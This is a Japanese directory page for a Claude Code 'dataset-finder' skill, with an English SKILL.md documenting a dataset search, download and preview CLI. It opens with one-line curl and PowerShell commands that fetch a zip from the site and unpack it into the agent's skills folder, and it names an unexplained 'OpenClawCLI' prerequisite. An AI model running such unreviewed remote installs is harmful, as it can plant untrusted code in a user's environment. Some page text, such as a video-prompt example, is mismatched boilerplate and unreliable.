jpskill.com
📦 その他 コミュニティ 🟡 少し慣れが必要 👤 幅広いユーザー

📦 データセットFinder

dataset-finder

??ータセットを探したり、必要なデータファイルをダウンロードしたり

⏱ 手作業のあれこれ 1日 → 1時間

📺 まず動画で見る(YouTube)

▶ 【Claude Code完全入門】誰でも使える/Skills活用法/経営者こそ使うべき ↗

※ jpskill.com 編集部が参考用に選んだ動画です。動画の内容と Skill の挙動は厳密には一致しないことがあります。

📜 元の英語説明(参考)

Use this skill when users need to search for datasets, download data files, or explore data repositories. Triggers include: requests to "find datasets", "search for data", "download dataset from Kaggle", "get data from Hugging Face", "find ML datasets", or mentions of data repositories like Kaggle, UCI ML Repository, Data.gov, or Hugging Face. Also use for previewing dataset statistics, generating data cards, or discovering datasets for machine learning projects. Requires OpenClawCLI installation from clawhub.ai.

🇯🇵 日本人クリエイター向け解説

一言でいうと

??ータセットを探したり、必要なデータファイルをダウンロードしたり

※ jpskill.com 編集部が日本のビジネス現場向けに補足した解説です。Skill本体の挙動とは独立した参考情報です。

⚡ おすすめ: コマンド1行でインストール(60秒)

下記のコマンドをコピーしてターミナル(Mac/Linux)または PowerShell(Windows)に貼り付けてください。 ダウンロード → 解凍 → 配置まで全自動。

🍎 Mac / 🐧 Linux
mkdir -p ~/.claude/skills && cd ~/.claude/skills && curl -L -o dataset-finder.zip https://jpskill.com/download/4711.zip && unzip -o dataset-finder.zip && rm dataset-finder.zip
🪟 Windows (PowerShell)
$d = "$env:USERPROFILE\.claude\skills"; ni -Force -ItemType Directory $d | Out-Null; iwr https://jpskill.com/download/4711.zip -OutFile "$d\dataset-finder.zip"; Expand-Archive "$d\dataset-finder.zip" -DestinationPath $d -Force; ri "$d\dataset-finder.zip"

完了後、Claude Code を再起動 → 普通に「動画プロンプト作って」のように話しかけるだけで自動発動します。

💾 手動でダウンロードしたい(コマンドが難しい人向け)
  1. 1. 下の青いボタンを押して dataset-finder.zip をダウンロード
  2. 2. ZIPファイルをダブルクリックで解凍 → dataset-finder フォルダができる
  3. 3. そのフォルダを C:\Users\あなたの名前\.claude\skills\(Win)または ~/.claude/skills/(Mac)へ移動
  4. 4. Claude Code を再起動

⚠️ ダウンロード・利用は自己責任でお願いします。当サイトは内容・動作・安全性について責任を負いません。

🎯 このSkillでできること

下記の説明文を読むと、このSkillがあなたに何をしてくれるかが分かります。Claudeにこの分野の依頼をすると、自動で発動します。

📦 インストール方法 (3ステップ)

  1. 1. 上の「ダウンロード」ボタンを押して .skill ファイルを取得
  2. 2. ファイル名の拡張子を .skill から .zip に変えて展開(macは自動展開可)
  3. 3. 展開してできたフォルダを、ホームフォルダの .claude/skills/ に置く
    • · macOS / Linux: ~/.claude/skills/
    • · Windows: %USERPROFILE%\.claude\skills\

Claude Code を再起動すれば完了。「このSkillを使って…」と話しかけなくても、関連する依頼で自動的に呼び出されます。

詳しい使い方ガイドを見る →
最終更新
2026-05-17
取得日時
2026-05-17
同梱ファイル
4

💬 こう話しかけるだけ — サンプルプロンプト

  • Dataset Finder の使い方を教えて
  • Dataset Finder で何ができるか具体例で見せて
  • Dataset Finder を初めて使う人向けにステップを案内して

これをClaude Code に貼るだけで、このSkillが自動発動します。

📖 Claude が読む原文 SKILL.md(中身を展開)

この本文は AI(Claude)が読むための原文(英語または中国語)です。日本語訳は順次追加中。

Dataset Finder

Search, download, and explore datasets from multiple repositories including Kaggle, Hugging Face, UCI ML Repository, and Data.gov. Preview statistics, generate data cards, and manage datasets for machine learning projects.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)

Installation:

# Standard installation
pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4

# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4

Never use --break-system-packages as it can damage your system's Python installation.


Quick Reference

Task Command
Search Kaggle python scripts/dataset.py kaggle search "housing prices"
Download Kaggle dataset python scripts/dataset.py kaggle download "username/dataset-name"
Search Hugging Face python scripts/dataset.py huggingface search "sentiment"
Download HF dataset python scripts/dataset.py huggingface download "dataset-name"
Search UCI ML python scripts/dataset.py uci search "classification"
Preview dataset python scripts/dataset.py preview dataset.csv
Generate data card python scripts/dataset.py datacard dataset.csv --output README.md
List local datasets python scripts/dataset.py list

Core Features

1. Multi-Repository Search

Search across multiple data repositories from a single interface.

Supported Sources:

  • Kaggle - ML competitions and community datasets
  • Hugging Face - NLP, vision, and audio datasets
  • UCI ML Repository - Classic ML datasets
  • Data.gov - US government open data
  • Local - Manage downloaded datasets

2. Dataset Download

Download datasets with automatic format detection.

Supported formats:

  • CSV, TSV
  • JSON, JSONL
  • Parquet
  • Excel (XLSX, XLS)
  • ZIP archives
  • HDF5
  • Feather

3. Dataset Preview

Get quick statistics and insights without loading entire datasets.

Preview features:

  • Shape (rows × columns)
  • Column names and types
  • Missing value counts
  • Basic statistics (mean, std, min, max)
  • Memory usage
  • Sample rows

4. Data Card Generation

Automatically generate dataset documentation.

Includes:

  • Dataset description
  • Schema information
  • Statistics summary
  • Usage examples
  • License information
  • Citation details

Repository-Specific Commands

Kaggle

Search and download datasets from Kaggle.

Setup:

  1. Get Kaggle API credentials from https://www.kaggle.com/settings
  2. Place kaggle.json in ~/.kaggle/ (Linux/Mac) or %USERPROFILE%\.kaggle\ (Windows)
# Search datasets
python scripts/dataset.py kaggle search "house prices"

# Search with filters
python scripts/dataset.py kaggle search "NLP" --file-type csv --sort-by hotness

# Download dataset
python scripts/dataset.py kaggle download "zillow/zecon"

# Download specific files
python scripts/dataset.py kaggle download "username/dataset" --file "train.csv"

# List dataset files
python scripts/dataset.py kaggle list "username/dataset-name"

Search options:

  • --file-type - Filter by file type (csv, json, etc.)
  • --license - Filter by license type
  • --sort-by - Sort by hotness, votes, updated, or relevance
  • --max-results - Limit number of results

Output:

1. House Prices - Advanced Regression Techniques
   Owner: zillow/zecon
   Size: 1.5 MB
   Last updated: 2023-06-15
   Downloads: 150,000+
   URL: https://www.kaggle.com/datasets/zillow/zecon

2. Housing Prices Dataset
   Owner: username/housing-data
   Size: 850 KB
   Last updated: 2023-08-20
   Downloads: 50,000+
   URL: https://www.kaggle.com/datasets/username/housing-data

Hugging Face Datasets

Search and download datasets from Hugging Face Hub.

# Search datasets
python scripts/dataset.py huggingface search "sentiment analysis"

# Search with filters
python scripts/dataset.py huggingface search "NLP" --task text-classification --language en

# Download dataset
python scripts/dataset.py huggingface download "imdb"

# Download specific split
python scripts/dataset.py huggingface download "imdb" --split train

# Download specific configuration
python scripts/dataset.py huggingface download "glue" --config mrpc

# Stream large datasets
python scripts/dataset.py huggingface download "large-dataset" --streaming

Search options:

  • --task - Filter by task (text-classification, translation, etc.)
  • --language - Filter by language code
  • --multimodal - Include multimodal datasets
  • --benchmark - Only benchmark datasets
  • --max-results - Limit results

Output:

1. IMDB Movie Reviews
   Dataset ID: imdb
   Tasks: sentiment-classification
   Languages: en
   Size: 84.1 MB
   Downloads: 1M+
   URL: https://huggingface.co/datasets/imdb

2. Stanford Sentiment Treebank
   Dataset ID: sst2
   Tasks: sentiment-classification
   Languages: en
   Size: 7.4 MB
   Downloads: 500K+
   URL: https://huggingface.co/datasets/sst2

UCI ML Repository

Search and download classic ML datasets.

# Search datasets
python scripts/dataset.py uci search "classification"

# Search by characteristics
python scripts/dataset.py uci search "regression" --min-samples 1000

# Download dataset
python scripts/dataset.py uci download "iris"

# Download with metadata
python scripts/dataset.py uci download "wine-quality" --include-metadata

Search options:

  • --task-type - classification, regression, clustering
  • --min-samples - Minimum number of instances
  • --min-features - Minimum number of features
  • --data-type - tabular, text, image, time-series

Output:

1. Iris Dataset
   ID: iris
   Task: classification
   Samples: 150
   Features: 4
   Classes: 3
   Missing values: No
   URL: https://archive.ics.uci.edu/ml/datasets/iris

2. Wine Quality
   ID: wine-quality
   Task: classification/regression
   Samples: 6497
   Features: 11
   Missing values: No
   URL: https://archive.ics.uci.edu/ml/datasets/wine+quality

Data.gov

Search US government open data.

# Search datasets
python scripts/dataset.py datagov search "census"

# Search with organization filter
python scripts/dataset.py datagov search "health" --organization "cdc.gov"

# Search by topic
python scripts/dataset.py datagov search "education" --tags "schools,students"

# Download dataset
python scripts/dataset.py datagov download "dataset-id"

Search options:

  • --organization - Filter by publishing organization
  • --tags - Filter by tags (comma-separated)
  • --format - Filter by format (csv, json, xml, etc.)
  • --max-results - Limit results

Output:

1. 2020 Census Demographic Data
   Organization: census.gov
   Format: CSV
   Size: 125 MB
   Last updated: 2023-01-15
   Tags: census, demographics, population
   URL: https://catalog.data.gov/dataset/...

Dataset Management

Preview Datasets

Get quick insights without loading entire datasets.

# Basic preview
python scripts/dataset.py preview data.csv

# Detailed statistics
python scripts/dataset.py preview data.csv --detailed

# Custom sample size
python scripts/dataset.py preview data.csv --sample 20

# Multiple files
python scripts/dataset.py preview train.csv test.csv

Output:

Dataset: train.csv
Shape: 1000 rows × 15 columns
Size: 2.5 MB
Memory usage: 120 KB

Columns:
  - id (int64): no missing values
  - name (object): 5 missing values
  - age (int64): no missing values
  - income (float64): 12 missing values
  - category (object): no missing values

Numeric columns statistics:
           age       income
count   1000.0       988.0
mean      35.2     65432.1
std       12.5     25000.0
min       18.0     20000.0
max       75.0    150000.0

Categorical columns:
  - category: 5 unique values
  - name: 995 unique values

Sample (first 5 rows):
   id      name  age    income category
0   1  John Doe   35   65000.0        A
1   2  Jane Doe   28   55000.0        B
2   3  Bob Smith  42   85000.0        A
...

Generate Data Cards

Create standardized dataset documentation.

# Generate data card
python scripts/dataset.py datacard dataset.csv --output DATACARD.md

# Include statistics
python scripts/dataset.py datacard dataset.csv --include-stats --output README.md

# Custom template
python scripts/dataset.py datacard dataset.csv --template custom_template.md

# Multiple datasets
python scripts/dataset.py datacard train.csv test.csv --output-dir datacards/

Generated data card includes:

  • Dataset description
  • File information (size, format, rows, columns)
  • Schema (column names, types, descriptions)
  • Statistics (distributions, missing values, correlations)
  • Sample data
  • Usage examples
  • License and citation
  • Known issues/limitations

Example output (DATACARD.md):

# Dataset Card: Housing Prices

## Dataset Description
This dataset contains housing prices and features for regression analysis.

## Dataset Information
- **Format:** CSV
- **Size:** 1.2 MB
- **Rows:** 1,460
- **Columns:** 81

## Schema
| Column | Type | Description | Missing |
|--------|------|-------------|---------|
| Id | int64 | Unique identifier | 0 |
| MSSubClass | int64 | Building class | 0 |
| LotArea | int64 | Lot size in sq ft | 0 |
| SalePrice | int64 | Sale price | 0 |
...

## Statistics
- Numerical features: 38
- Categorical features: 43
- Missing values: 19 columns affected
- Target variable: SalePrice (range: $34,900 - $755,000)

## Usage
```python
import pandas as pd
df = pd.read_csv('housing_prices.csv')

License

Creative Commons


### List Local Datasets

Manage downloaded datasets.

```bash
# List all datasets
python scripts/dataset.py list

# List with details
python scripts/dataset.py list --detailed

# Filter by source
python scripts/dataset.py list --source kaggle

# Filter by size
python scripts/dataset.py list --min-size 100MB --max-size 1GB

Output:

Local Datasets (5 total, 2.5 GB):

1. zillow/zecon (Kaggle)
   Downloaded: 2024-01-15
   Size: 1.5 MB
   Files: train.csv, test.csv
   Location: datasets/kaggle/zillow/zecon/

2. imdb (Hugging Face)
   Downloaded: 2024-01-20
   Size: 84.1 MB
   Splits: train, test, unsupervised
   Location: datasets/huggingface/imdb/

3. iris (UCI ML)
   Downloaded: 2024-01-18
   Size: 4.5 KB
   Files: iris.data, iris.names
   Location: datasets/uci/iris/

Common Workflows

Machine Learning Project Setup

Find and download datasets for a new ML project.

# Step 1: Search for relevant datasets
python scripts/dataset.py kaggle search "house prices" --max-results 10 --output search_results.json

# Step 2: Download selected dataset
python scripts/dataset.py kaggle download "zillow/zecon"

# Step 3: Preview the data
python scripts/dataset.py preview datasets/kaggle/zillow/zecon/train.csv --detailed

# Step 4: Generate documentation
python scripts/dataset.py datacard datasets/kaggle/zillow/zecon/train.csv --output DATACARD.md

NLP Project Dataset Collection

Gather text datasets for NLP tasks.

# Search Hugging Face for sentiment datasets
python scripts/dataset.py huggingface search "sentiment" --task text-classification --language en

# Download multiple datasets
python scripts/dataset.py huggingface download "imdb"
python scripts/dataset.py huggingface download "sst2"
python scripts/dataset.py huggingface download "yelp_polarity"

# Preview each dataset
python scripts/dataset.py list --source huggingface

Dataset Comparison

Compare multiple datasets for selection.

# Search across repositories
python scripts/dataset.py kaggle search "titanic" --output kaggle_results.json
python scripts/dataset.py uci search "classification" --output uci_results.json

# Preview candidates
python scripts/dataset.py preview candidate1.csv --output stats1.txt
python scripts/dataset.py preview candidate2.csv --output stats2.txt

# Generate comparison data cards
python scripts/dataset.py datacard candidate1.csv candidate2.csv --output-dir comparison/

Building a Dataset Library

Organize datasets for team use.

# Create organized structure
mkdir -p datasets/{kaggle,huggingface,uci,custom}

# Download datasets with metadata
python scripts/dataset.py kaggle download "dataset1" --output-dir datasets/kaggle/
python scripts/dataset.py huggingface download "dataset2" --output-dir datasets/huggingface/

# Generate data cards for all
python scripts/dataset.py datacard datasets/**/*.csv --output-dir datacards/

# Create inventory
python scripts/dataset.py list --detailed --output inventory.json

Data Quality Assessment

Assess dataset quality before use.

# Preview with detailed statistics
python scripts/dataset.py preview dataset.csv --detailed --output quality_report.txt

# Check for issues
python scripts/dataset.py validate dataset.csv --check-missing --check-duplicates --check-outliers

# Generate comprehensive data card
python scripts/dataset.py datacard dataset.csv --include-stats --include-quality --output QA_REPORT.md

Advanced Features

Batch Download

Download multiple datasets at once.

# Create download list
cat > datasets.txt << EOF
kaggle:zillow/zecon
kaggle:username/housing
huggingface:imdb
uci:iris
EOF

# Batch download
python scripts/dataset.py batch-download datasets.txt --output-dir datasets/

Dataset Conversion

Convert between formats.

# CSV to Parquet
python scripts/dataset.py convert data.csv --format parquet --output data.parquet

# Excel to CSV
python scripts/dataset.py convert data.xlsx --format csv --output data.csv

# JSON to CSV
python scripts/dataset.py convert data.json --format csv --output data.csv

Dataset Splitting

Split datasets for ML workflows.

# Train/test split
python scripts/dataset.py split data.csv --train 0.8 --test 0.2

# Train/val/test split
python scripts/dataset.py split data.csv --train 0.7 --val 0.15 --test 0.15

# Stratified split
python scripts/dataset.py split data.csv --stratify target_column --train 0.8 --test 0.2

Dataset Merging

Combine multiple datasets.

# Concatenate datasets
python scripts/dataset.py merge file1.csv file2.csv --output combined.csv

# Join on key
python scripts/dataset.py merge left.csv right.csv --on id --how inner --output joined.csv

Best Practices

Search Strategy

  1. Start broad - Use general keywords first
  2. Refine iteratively - Add filters based on results
  3. Check multiple sources - Different repositories have different strengths
  4. Review metadata - Check size, format, license before downloading

Download Management

  1. Check size first - Use search to see dataset size
  2. Preview before download - When possible, preview samples
  3. Organize by source - Keep repository structure clear
  4. Track downloads - Use list command to manage local datasets

Data Quality

  1. Always preview - Check data before using
  2. Generate data cards - Document all datasets
  3. Validate data - Check for missing values, outliers
  4. Keep metadata - Save original descriptions and licenses

Storage

  1. Use version control - Track dataset versions
  2. Compress when possible - Use Parquet or HDF5 for large datasets
  3. Clean regularly - Remove unused datasets
  4. Backup important data - Keep copies of critical datasets

Troubleshooting

Installation Issues

"Missing required dependency"

# Install all dependencies
pip install kaggle datasets pandas huggingface-hub requests beautifulsoup4

# Or use virtual environment
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt

"Kaggle API credentials not found"

  1. Go to https://www.kaggle.com/settings
  2. Click "Create New API Token"
  3. Save kaggle.json to:
    • Linux/Mac: ~/.kaggle/
    • Windows: %USERPROFILE%\.kaggle\
  4. Set permissions: chmod 600 ~/.kaggle/kaggle.json

"Hugging Face authentication required"

# Login to Hugging Face
huggingface-cli login

# Or set token
export HF_TOKEN="your_token_here"

Search Issues

"No results found"

  • Try broader search terms
  • Remove restrictive filters
  • Check spelling
  • Try different repository

"Search timeout"

  • Check internet connection
  • Repository may be down temporarily
  • Try again in a few minutes

Download Issues

"Download failed"

  • Check internet connection
  • Verify dataset still exists
  • Check available disk space
  • Try downloading specific files

"Permission denied"

  • Some datasets require accepting terms
  • May need API credentials
  • Check dataset license

"Out of memory"

  • Use streaming for large datasets
  • Download in chunks
  • Use Parquet instead of CSV

Preview Issues

"Cannot load dataset"

  • Check file format
  • Verify file is not corrupted
  • Try specifying encoding: --encoding utf-8

"Preview too slow"

  • Use smaller sample size
  • Preview first N rows only
  • Use format-specific tools

Command Reference

python scripts/dataset.py <command> [OPTIONS]

COMMANDS:
  kaggle              Kaggle operations (search, download, list)
  huggingface         Hugging Face operations
  uci                 UCI ML Repository operations
  datagov             Data.gov operations
  preview             Preview dataset statistics
  datacard            Generate dataset documentation
  list                List local datasets
  batch-download      Download multiple datasets
  convert             Convert dataset formats
  split               Split dataset for ML
  merge               Combine datasets

KAGGLE:
  search QUERY        Search Kaggle datasets
    --file-type       Filter by file type
    --license         Filter by license
    --sort-by         Sort results
    --max-results     Limit results

  download DATASET    Download Kaggle dataset
    --file            Download specific file
    --output-dir      Output directory

HUGGING FACE:
  search QUERY        Search HF datasets
    --task            Filter by task
    --language        Filter by language
    --max-results     Limit results

  download DATASET    Download HF dataset
    --split           Specific split
    --config          Configuration
    --streaming       Stream large datasets

UCI:
  search QUERY        Search UCI datasets
    --task-type       Filter by task
    --min-samples     Minimum samples

  download DATASET    Download UCI dataset

PREVIEW:
  preview FILE        Preview dataset
    --detailed        Detailed statistics
    --sample N        Sample size

DATACARD:
  datacard FILE       Generate data card
    --output          Output file
    --include-stats   Include statistics
    --template        Custom template

LIST:
  list                List local datasets
    --detailed        Show details
    --source          Filter by source

HELP:
  --help              Show help

Examples by Use Case

Quick Dataset Search

# Find housing datasets
python scripts/dataset.py kaggle search "housing"

# Find NLP datasets
python scripts/dataset.py huggingface search "sentiment" --task text-classification

# Find classic ML datasets
python scripts/dataset.py uci search "classification"

Download and Preview

# Download from Kaggle
python scripts/dataset.py kaggle download "zillow/zecon"

# Preview the data
python scripts/dataset.py preview datasets/kaggle/zillow/zecon/train.csv --detailed

# Generate documentation
python scripts/dataset.py datacard datasets/kaggle/zillow/zecon/train.csv

Multi-Source Search

# Search all repositories
python scripts/dataset.py kaggle search "titanic" --output kaggle.json
python scripts/dataset.py huggingface search "titanic" --output hf.json
python scripts/dataset.py uci search "classification" --output uci.json

# Compare results
cat kaggle.json hf.json uci.json

Dataset Management

# List all downloaded datasets
python scripts/dataset.py list --detailed

# Preview multiple datasets
python scripts/dataset.py preview *.csv

# Generate data cards for all
python scripts/dataset.py datacard *.csv --output-dir datacards/

Support

For issues or questions:

  1. Check this documentation
  2. Run python scripts/dataset.py --help
  3. Verify API credentials are set
  4. Check repository-specific documentation

Resources:

同梱ファイル

※ ZIPに含まれるファイル一覧。`SKILL.md` 本体に加え、参考資料・サンプル・スクリプトが入っている場合があります。